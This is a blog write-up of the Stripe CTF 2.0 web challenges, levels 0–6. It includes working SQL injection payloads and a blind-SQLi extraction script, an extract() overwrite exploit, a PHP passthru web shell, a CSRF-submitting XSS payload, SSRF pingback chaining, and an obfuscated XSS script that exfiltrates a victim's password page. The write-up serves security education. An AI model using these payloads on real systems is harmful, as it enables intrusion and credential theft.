Stripe CTF 2.0 writeups, levels 0 to 6

About a week late, but here you have my writeups for Stripe CTF 2.0, levels 0 to 6. There were two more levels, but I wasn’t able to complete them.

Congrats to the Stripe guys for the nice work organizing this web-oriented CTF!

Level 0 (SQL Injection)

This level was a web application written using node.js. It was possible to inject SQL code into a vulnerable query, as seen below:


app.get('/*', function(req, res) {
var namespace = req.param('namespace');

if (namespace) {
var query = 'SELECT * FROM secrets WHERE key LIKE ? || ".%"';
db.all(query, namespace, function(err, secrets) {
if (err) throw err;

renderPage(res, {namespace: namespace, secrets: secrets});
});
} else {
renderPage(res, {});
}
});

So we can inject SQL code through the “namespace” GET parameter. Since the vulnerable query uses a “LIKE” operator, I’ve just injected a “%” wildcard and that was enough to retrieve all the stored secrets:

https://level00-3.stripe-ctf.com/user-hjxizendlw/?namespace=%25
Showing secrets for %:
Key                                    Value
secretstash-nntbx.level01.password     TktPksMpbU
minamespace.misecretonombre            misecretovalor

So the key for this very first challenge was TktPksMpbU.

Level 1 (Usage of unsafe PHP functions)

In this level we just have to guess a secret combination in order to obtain the flag.
Let’s take a look at the source code of the webapp (PHP):

    <?php
      $filename = 'secret-combination.txt';
      extract($_GET);
      if (isset($attempt)) {
        $combination = trim(file_get_contents($filename));
        if ($attempt === $combination) {
          echo "<p>How did you know the secret combination was" .
               " $combination!?</p>";
          $next = file_get_contents('level02-password.txt');
          echo "<p>You've earned the password to the access Level 2:" .
               " $next</p>";
        } else {
          echo "<p>Incorrect! The secret combination is not $attempt</p>";
        }
      }
    ?>

So we need to guess the contents of the ‘secret-combination.txt’ file, which is located on the remote server.
That would be pretty hard, but fortunately the web developer makes use of ‘extract()‘,an unsafe PHP function. This function allows to import variables into the current namespace from an array; in this case, variables will be imported from the $_GET array, which is controlled by us.

If $attempt (our guess) equals $combination (the secret we need to guess), the webapp will show us the contents of the ‘level02-password.txt’ file, which is the flag for this level.
$combination is the content of the $filename file. $filename is supposed to be ‘secret-combination.txt’, but the usage of extract() before reading the contents of $filename will allow us to overwrite the value of the $filename variable to something of our convenience.

So I need to set $filename to the name of a file on the remote server which I’m aware of its content, and for this purpose my only chance was index.php, because I already knew its content since we were provided with the source code of the PHP application.

I’ve made a quick Python script in order to accomplish this. It makes a GET request with parameters filename=index.php and attempt=<content_of_index.php>.

index_php = """<html>
  <head>
    <title>Guessing Game</title>
  </head>
  <body>
    <h1>Welcome to the Guessing Game!</h1>
    <p>
      Guess the secret combination below, and if you get it right,
      you'll get the password to the next level!
    </p>
    <?php
      $filename = 'secret-combination.txt';
      extract($_GET);
      if (isset($attempt)) {
        $combination = trim(file_get_contents($filename));
        if ($attempt === $combination) {
          echo "<p>How did you know the secret combination was" .
               " $combination!?</p>";
          $next = file_get_contents('level02-password.txt');
          echo "<p>You've earned the password to the access Level 2:" .
               " $next</p>";
        } else {
          echo "<p>Incorrect! The secret combination is not $attempt</p>";
        }
      }
    ?>
    <form action="#" method="GET">
      <p><input type="text" name="attempt"></p>
      <p><input type="submit" value="Guess!"></p>
    </form>
  </body>
</html>"""
index_php = index_php.strip()

import urllib

html = urllib.urlopen('https://level01-2.stripe-ctf.com/user-bfqqgkvqva/?attempt=%s&filename=index.php' % urllib.quote(index_php)).read()
print html

The output of the Python script includes the key for this level:

[snip]
You've earned the password to the access Level 2: FMzKVuRDyc
[/snip]

Level 2 (Unrestricted file upload)

This webapp was supposed to allow us to upload a picture; but there were no restrictions on the type of files we could upload!

This vulnerability allows us to upload a .php file in order to execute arbitrary code on the vulnerable server. So I’ve uploaded a tiny PHP file that acts as a mini-shell:

<?php
	if (isset($_GET["cmd"])){
		passthru($_GET["cmd"]);
	}
?>

Let’s execute some commands:

> https://level02-2.stripe-ctf.com/user-slkybnrtid/uploads/infox.php?cmd=uname%20-a

Linux leveltwo2.ctf-1.stripe-ctf.com 2.6.32-347-ec2 #52-Ubuntu SMP Fri Jul 27 14:38:36 UTC 2012 x86_64 GNU/Linux 
> https://level02-2.stripe-ctf.com/user-slkybnrtid/uploads/infox.php?cmd=pwd

/mount/home/user-slkybnrtid/public_html/uploads
> https://level02-2.stripe-ctf.com/user-slkybnrtid/uploads/infox.php?cmd=ls%20-la%20/mount/home/user-slkybnrtid/public_html/

total 20 drwxr-xr-x 3 4031 4031 4096 Aug 23 00:22 
 drwx--x--x 3 4031 4031 4096 Aug 23 00:22 .. 
 -rw-r--r-- 1 4031 4031 1422 Aug 23 00:22 index.php 
 lrwxrwxrwx 1 4031 4031 16 Aug 23 00:22 level02-code -> /var/stripe/code 
 -rw------- 1 4031 4031 10 Aug 23 00:22 password.txt 
 drwxr-xr-x 2 4031 4031 4096 Aug 23 00:39 uploads 

Let’s read the content of the ‘password.txt‘ file:

> https://level02-2.stripe-ctf.com/user-slkybnrtid/uploads/infox.php?cmd=cat%20/mount/home/user-slkybnrtid/public_html/password.txt

BvsOOpSHbL

So BvsOOpSHbL was the key for this level.

Level 3 (SQL Injection)

In this case we have a Django web application which is used to store secrets. The application is vulnerable to SQL injection through the “username” parameter:

    query = """SELECT id, password_hash, salt FROM users
               WHERE username = '{0}' LIMIT 1""".format(username)
    cursor.execute(query)

This is the database schema:

 CREATE TABLE users (
   id VARCHAR(255) PRIMARY KEY AUTOINCREMENT,
   username VARCHAR(255),
   password_hash VARCHAR(255),
   salt VARCHAR(255)
 );

password_hash is sha256(password + salt).

As we can guess from the home page, our mission is to obtain access Bob’s secret.
My initial (and wrong) approach against this level was Blind SQLi. I was able to make the webapp generate different responses depending on whether the SQL statement evaluated to True or False:

Username: ' or length(password_hash)=64--   => True expression, output shows "That's not the password for [...]"

Username: ' or length(password_hash)=65--   => False expression, output shows "There's no such user [...]"

I’ve made a Python script that allowed me to extract the password_hash (SHA256) and the salt, one character at a time, through Blind SQL injection.

import httplib, urllib
import time
import sys
import string


stolen_hash = ""

for i in range(1, 65):
    for char in '0123456789abcdef':
        injection = "bob' and lower(substr(password_hash, %d, 1))='%s'--" % (i, char)
        print injection
        params = urllib.urlencode({'username': injection, 'password': 'whatever'})
        headers = {"Content-type": "application/x-www-form-urlencoded",
                    "Accept": "text/html"}
        conn = httplib.HTTPSConnection("level03-2.stripe-ctf.com")
        conn.request("POST", "/user-eqskzbsept/login", params, headers)
        response = conn.getresponse()
        print response.status, response.reason

        html = response.read()
        #print html
        conn.close()

        if "That's not the password for" in html:
            print "[+] password_hash[%d] = '%s'" % (i, char)
            stolen_hash += char
            break
        time.sleep(2)

print "[!] Hash found!: %s" % stolen_hash

(With minor modifications it can be used to grab the salt).

Having the password_hash and the salt I tried to crack the password via a dictionary attack, but my efforts were unsuccessful.

At this point, someone at Stripe’s IRC channel gave me a hint. He said “The best hint for this level is the word ‘UNION'”. Then I realized that by using the UNION operator it was possible to force the webapp to use my own password_hash and salt for Bob’s account, instead of the original ones.

So I tried to login using the following values:

Username: ' union all select id, '6f4653e422b91013f582197ef21fef1ca3ff8bff785098fd3f314a1ed94f7433', 'pqxxfrg' from users where username='bob'--
Password: giovanni

Where ‘6f4653e422b91013f582197ef21fef1ca3ff8bff785098fd3f314a1ed94f7433’ is the password_hash corresponding to sha256(“giovanni” + “pqxxfrg”).

This way I was able to login as Bob, thus obtaining the flag for this level:

Welcome back! Your secret is: "The password to access level04 is: RjWRMFEpvF"

Level 4 (Cross-Site Scripting)

Here we have Karma Trader, a fake social network based on trust. In this site you can give karma points to other users, but the idea is to give karma only to extremely trusted people, since giving karma to someone will reveal our password to him.

There’s an special user, named karma_fountain, which has unlimited karma points (regular users have 500 karma points available). Our objective is to steal karma_fountain’s password.

Fortunately for us, there’s an stored XSS vulnerability in the password field, which, by the way, is shown to every user we give karma points to. So the idea for the attack is to set a Javascript payload as password and then give karma_fountain some karma points, so our JS payload is rendered within his browser.
Our Javascript payload should give some karma points to our attacker account, so the password of karma_fountain will be shown to us!

So I’ve created the following account:

* username: attacker

* password: <form action="/user-ooxletdthv/transfer" method="POST" id="xss"><input type="to" name="to" value="attacker"/><input type="text" name="amount" value="69"/><input type="submit" value="Submit"/></form><script>document.getElementById("xss").submit();</script>

The karma_fountain user visits the site every few minutes, so we just need to give him some karma points and wait a couple of minutes.
After a little waiting, we refresh the website in our browser and there we have the flag for this level:

karma_fountain (password: HkKdXXbtst, last active 08:11:19 UTC) 

Level 5 (Authentication bypass)

Here we have a fake authentication protocol called DomainAuthenticator. It takes a username, a password and a pingback URL, and if the pingback URL returns “AUTHENTICATED” that means that we are authenticated against the host corresponding to the pingback URL.

There are some network restrictions on this challenge: level05-2.stripe-ctf.com, the host for this challenge, is only allowed to establish connections against other stripe-ctf.com hosts. Fortunately we still have control over the level02-2.stripe-ctf.com host that we’ve pwned during level 2.

The description of this level said something like “Fortunately, a misconfiguration in the level02 server makes it possible to bind against high ports”, so I uploaded a basic TCP server written in PHP to the level02 host and I binded it to TCP port 50000. It just responds with “HTTP/1.1 200 OK\nContent-Length: 16\n\n!AUTHENTICATED!\n” when a client connects to it.

I’ve used the mini-shell that I’ve uploaded earlier in order to run the basic TCP server:

https://level02-2.stripe-ctf.com/user-slkybnrtid/uploads/infox.php?cmd=/usr/lib/cgi-bin/php%20-q%20tcpserver.php

After that, in the level 05 page I’ve entered the following values:

  * Pingback URL: level02-2.stripe-ctf.com:50000/
  * username: pepe
  * password: anything

So level05-2.stripe-ctf.com performs an HTTP request against the provided URL (my basic server listening on port 50000), and since my basic server at level02-2.stripe-ctf.com responds with “!AUTHENTICATED!”, then I’m successfully authenticated:

Remote server responded with: !AUTHENTICATED! . Authenticated as pepe@level02-2.stripe-ctf.com!

Back to the main page of level 05, and we see this:

You are authenticated as pepe@level02-2.stripe-ctf.com. 

So we are authenticated, but just against the level02-2.stripe-ctf.com host, and that’s not enough; in order to complete this level, we need to get authenticated against the level05-2.stripe-ctf.com host.

Getting authenticated against level05-2.stripe-ctf.com means that this host must respond with “!AUTHENTICATED!” when receiving an auth request. How is it possible, having in mind that we do not have control over this server?

Here’s the solution:

  * pingback URL: https://level05-2.stripe-ctf.com/user-usopjfndok/?pingback=http://level02-2.stripe-ctf.com:50000/
  * username: pepe
  * password: anything

With these values we obtain the following message:

Remote server responded with: Remote server responded with: !AUTHENTICATED! . Authenticated as pepe@level02-2.stripe-ctf.com!. Authenticated as pepe@level05-2.stripe-ctf.com!

How did it work? Let’s dissect it. When clicking on the “Submit” button of the form, a POST request will be performed against the https://level05-2.stripe-ctf.com/user-usopjfndok/ URL. The Ruby code that handles POST requests will receive this parameters:

  * pingback URL: https://level05-2.stripe-ctf.com/user-usopjfndok/?pingback=http://level02-2.stripe-ctf.com:50000/
  * username: pepe
  * password: anything

Then, the Ruby code that handles POST requests will perform a POST request against the provided Pingback URL, that is, https://level05-2.stripe-ctf.com/user-usopjfndok/?pingback=http://level02-2.stripe-ctf.com:50000/, so it will make a POST request against itself!
The interesting thing is that, this second time, the POST handler will receive this parameters:

  * pingback URL: http://level02-2.stripe-ctf.com:50000/
  * username: pepe
  * password: anything

As you may guess, the pingback argument has been passed as a GET parameter, and it will work. So This nested call will now make a POST request against the http://level02-2.stripe-ctf.com:50000/ pingback URL, which is our basic server that responds with “!AUTHENTICATED!”. That means that the level05-2.stripe-ctf.com page will show the message “Remote server responded with: !AUTHENTICATED! . Authenticated as pepe@level02-2.stripe-ctf.com!”.

After the successful authentication against http://level02-2.stripe-ctf.com:50000/, execution flow goes back to the previous step, which is waiting for the request against level02-2.stripe-ctf.com to complete. As we said in the paragraph above, the web page at level05-2.stripe-ctf.com includes the “!AUTHENTICATED!” string after successfully authenticating against level02-2.stripe-ctf.com, so authentication is also successful against the level05-2.stripe-ctf.com host.

This is what the webapp shows after this chained authentication:

Remote server responded with: Remote server responded with: !AUTHENTICATED! . Authenticated as pepe@level02-2.stripe-ctf.com!. Authenticated as pepe@level05-2.stripe-ctf.com!

So we go back to the main page of this challenge, and there we have the flag for this level: uEYLAedeiw

 You are authenticated as pepe@level05-2.stripe-ctf.com.

Since you're a user of a password host and all, you deserve to know this password: uEYLAedeiw 

Level 6 (Cross-Site Scripting, Cross-Site Request Forgery)

This level was another fake social network site. Our goal was to steal the password of the user called level07-password-holder.

There was an stored XSS vulnerability in the username when posting new content to the stream of posts, but it wasn’t possible to include quotes in the username.

Some important things to have in mind:
* The website has anti-CSRF protection, implemented through a secret token in forms, but since we will be executing Javascript in the context of the target user, we can easily bypass it.
* Registered users could see their own password by visiting the /user_info page. We will later use this for our convenience.
* The description of the level said something like “The password of level07-password-holder contains quotes and apostrophes”.

How I’ve solved it:
* The anti-CSRF token can be easily read with Javascript, this way:

var csrf_token = document.getElementsByTagName("input")[0].value;

* I’m using XMLHttpRequest in order to grab the password of the victim from the /user_info page.
* I’m using another XMLHttpRequest in order to publish a post with the stolen password.
* There was a length limit in the username, so I needed to reduce the size of my Javascript payload.
* Due to the quotes and apostrophes used in the password of the level07-password-holder user, it was not possible to publish the stolen password “as-is”, so I decided to publish the ordinal of every character of the /user_info page.

Here’s the inflated version of my Javascript payload. Note that I was forced to use /some_string/.source and String.fromCharCode() tricks since quotes were not permitted in the username:

function encode_char(x){
	return x.charCodeAt(0)+String.fromCharCode(44);
}


function encode_text(x){
	var d=/x/.source;
	for(i=0;i<x.length;i++){
		d += encode_char(x[i]);
	}
	return d;
}


function publish(user_info, csrf){
	var xmlhttp = new XMLHttpRequest();
	xmlhttp.onreadystatechange=function(){
		if (xmlhttp.readyState==4 && xmlhttp.status==200){
		}
	};
	xmlhttp.open(/POST/.source,String.fromCharCode(47,117,115,101,114,45,102,122,120,122,100,119,110,106,107,120,47,97,106,97,120,47,112,111,115,116,115),true);
	xmlhttp.setRequestHeader(/Content-type/.source,String.fromCharCode(97,112,112,108,105,99,97,116,105,111,110,47,120,45,119,119,119,45,102,111,114,109,45,117,114,108,101,110,99,111,100,101,100));
	xmlhttp.send(/title=owned&body=/.source+user_info+/&_csrf=/.source+csrf);


}


function steal(){
	var xmlhttp = new XMLHttpRequest(); 
	xmlhttp.onreadystatechange=function(){
		if (xmlhttp.readyState==4 && xmlhttp.status==200){
			var user_info = xmlhttp.responseText;
			var csrf = document.getElementsByTagName(/input/.source)[0].value;
			publish(/pwd/.source+encode_text(user_info), csrf);
		}
	};
	xmlhttp.open(/GET/.source,String.fromCharCode(47,117,115,101,114,45,102,122,120,122,100,119,110,106,107,120,47,117,115,101,114,95,105,110,102,111),true);xmlhttp.send();
}
	
	
steal();

After registering a new user with my Javascript payload as username and posting some dummy content to the board, I just needed to wait a few minutes for level07-password-holder to log into the webapp. Then I just saw a new post with the following content:

pwdx60,33,100,111,99,116,121,112,101,32,104,116,109,108,62,10,60,104,116,109,108,62,10,32,32,60,104,101,97,100,62,10,32,32,32,32,60,116,105,116,108,101,62,83,116,114,101,97,109,101,114,60,47,116,105,116,108,101,62,10,32,32,32,32,60,115,99,114,105,112,116,32,115,114,99,61,39,47,117,115,101,114,45,102,122,120,122,100,119,110,106,107,120,47,106,115,47,106,113,117,101,114,121,45,49,46,56,46,48,46,109,105,110,46,106,115,39,62,60,47,115,99,114,105,112,116,62,10,32,32,32,32,60,108,105,110,107,32,114,101,108,61,39,115,116,121,108,101,115,104,101,101,116,39,32,116,121,112,101,61,39,116,101,120,116,47,99,115,115,39,10,32,32,32,32,32,32,32,32,32,32,104,114,101,102,61,39,47,117,115,101,114,45,102,122,120,122,100,119,110,106,107,120,47,99,115,115,47,98,111,111,116,115,116,114,97,112,45,99,111,109,98,105,110,101,100,46,109,105,110,46,99,115,115,39,32,47,62,10,32,32,60,47,104,101,97,100,62,10,32,32,60,98,111,100,121,62,10,32,32,32,32,60,100,105,118,32,99,108,97,115,115,61,39,110,97,118,98,97,114,39,62,10,32,32,32,32,32,32,60,100,105,118,32,99,108,97,115,115,61,39,110,97,118,98,97,114,45,105,110,110,101,114,39,62,10,32,32,32,32,32,32,32,32,60,100,105,118,32,99,108,97,115,115,61,39,99,111,110,116,97,105,110,101,114,39,62,10,32,32,32,32,32,32,32,32,32,32,60,97,32,99,108,97,115,115,61,39,98,114,97,110,100,39,32,104,114,101,102,61,39,47,117,115,101,114,45,102,122,120,122,100,119,110,106,107,120,47,39,62,83,116,114,101,97,109,101,114,60,47,97,62,10,32,32,32,32,32,32,32,32,32,32,10,32,32,32,32,32,32,32,32,32,32,32,32,60,117,108,32,99,108,97,115,115,61,39,110,97,118,32,112,117,108,108,45,114,105,103,104,116,39,62,10,32,32,32,32,32,32,32,32,32,32,32,32,32,32,60,108,105,62,60,97,32,104,114,101,102,61,39,47,117,115,101,114,45,102,122,120,122,100,119,110,106,107,120,47,108,111,103,111,117,116,39,62,76,111,103,32,79,117,116,60,47,97,62,60,47,108,105,62,10,32,32,32,32,32,32,32,32,32,32,32,32,60,47,117,108,62,10,32,32,32,32,32,32,32,32,32,32,10,32,32,32,32,32,32,32,32,60,47,100,105,118,62,10,32,32,32,32,32,32,60,47,100,105,118,62,10,32,32,32,32,60,47,100,105,118,62,10,32,32,32,32,60,100,105,118,32,99,108,97,115,115,61,39,99,111,110,116,97,105,110,101,114,39,62,10,10,32,32,32,32,32,32,60,100,105,118,32,99,108,97,115,115,61,39,114,111,119,39,62,10,32,32,60,100,105,118,32,99,108,97,115,115,61,39,115,112,97,110,49,50,39,62,10,32,32,32,32,60,104,51,62,85,115,101,114,32,73,110,102,111,114,109,97,116,105,111,110,60,47,104,51,62,10,32,32,32,32,60,116,97,98,108,101,32,99,108,97,115,115,61,39,116,97,98,108,101,32,116,97,98,108,101,45,99,111,110,100,101,110,115,101,100,39,62,10,32,32,32,32,32,32,60,116,114,62,10,32,32,32,32,32,32,32,32,60,116,104,62,85,115,101,114,110,97,109,101,58,60,47,116,104,62,10,32,32,32,32,32,32,32,32,60,116,100,62,108,101,118,101,108,48,55,45,112,97,115,115,119,111,114,100,45,104,111,108,100,101,114,60,47,116,100,62,10,32,32,32,32,32,32,60,47,116,114,62,10,32,32,32,32,32,32,60,116,114,62,10,32,32,32,32,32,32,32,32,60,116,104,62,80,97,115,115,119,111,114,100,58,60,47,116,104,62,10,32,32,32,32,32,32,32,32,60,116,100,62,39,77,84,77,89,76,80,74,90,116,113,82,98,34,60,47,116,100,62,10,32,32,32,32,32,32,60,47,116,114,62,10,32,32,32,32,60,47,116,97,98,108,101,62,10,32,32,60,47,100,105,118,62,10,60,47,100,105,118,62,10,10,32,32,32,32,60,47,100,105,118,62,10,32,32,60,47,98,111,100,121,62,10,60,47,104,116,109,108,62,10,

Those are the ASCII values for every character of the /user_info page of level07-password-holder. By decoding them we obtain the flag for this level:

<!doctype html>\n<html>\n  <head>\n    <title>Streamer</title>\n    <script src=\'/user-fzxzdwnjkx/js/jquery-1.8.0.min.js\'></script>\n    <link rel=\'stylesheet\' type=\'text/css\'\n          href=\'/user-fzxzdwnjkx/css/bootstrap-combined.min.css\' />\n  </head>\n  <body>\n    <div class=\'navbar\'>\n      <div class=\'navbar-inner\'>\n        <div class=\'container\'>\n          <a class=\'brand\' href=\'/user-fzxzdwnjkx/\'>Streamer</a>\n          \n            <ul class=\'nav pull-right\'>\n              <li><a href=\'/user-fzxzdwnjkx/logout\'>Log Out</a></li>\n            </ul>\n          \n        </div>\n      </div>\n    </div>\n    <div class=\'container\'>\n\n      <div class=\'row\'>\n  <div class=\'span12\'>\n    <h3>User Information</h3>\n    <table class=\'table table-condensed\'>\n      <tr>\n        <th>Username:</th>\n        <td>level07-password-holder</td>\n      </tr>\n      <tr>\n        <th>Password:</th>\n        <td>\'MTMYLPJZtqRb"</td>\n      </tr>\n    </table>\n  </div>\n</div>\n\n    </div>\n  </body>\n</html>\n

So the key for this level was: ‘MTMYLPJZtqRb”.

Advertisements

One thought on “Stripe CTF 2.0 writeups, levels 0 to 6

  1. I wanted to thank you for this wonderful read!! I certainly loved every
    little bit of it. I’ve got you saved as a favorite to look at new things you post…

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s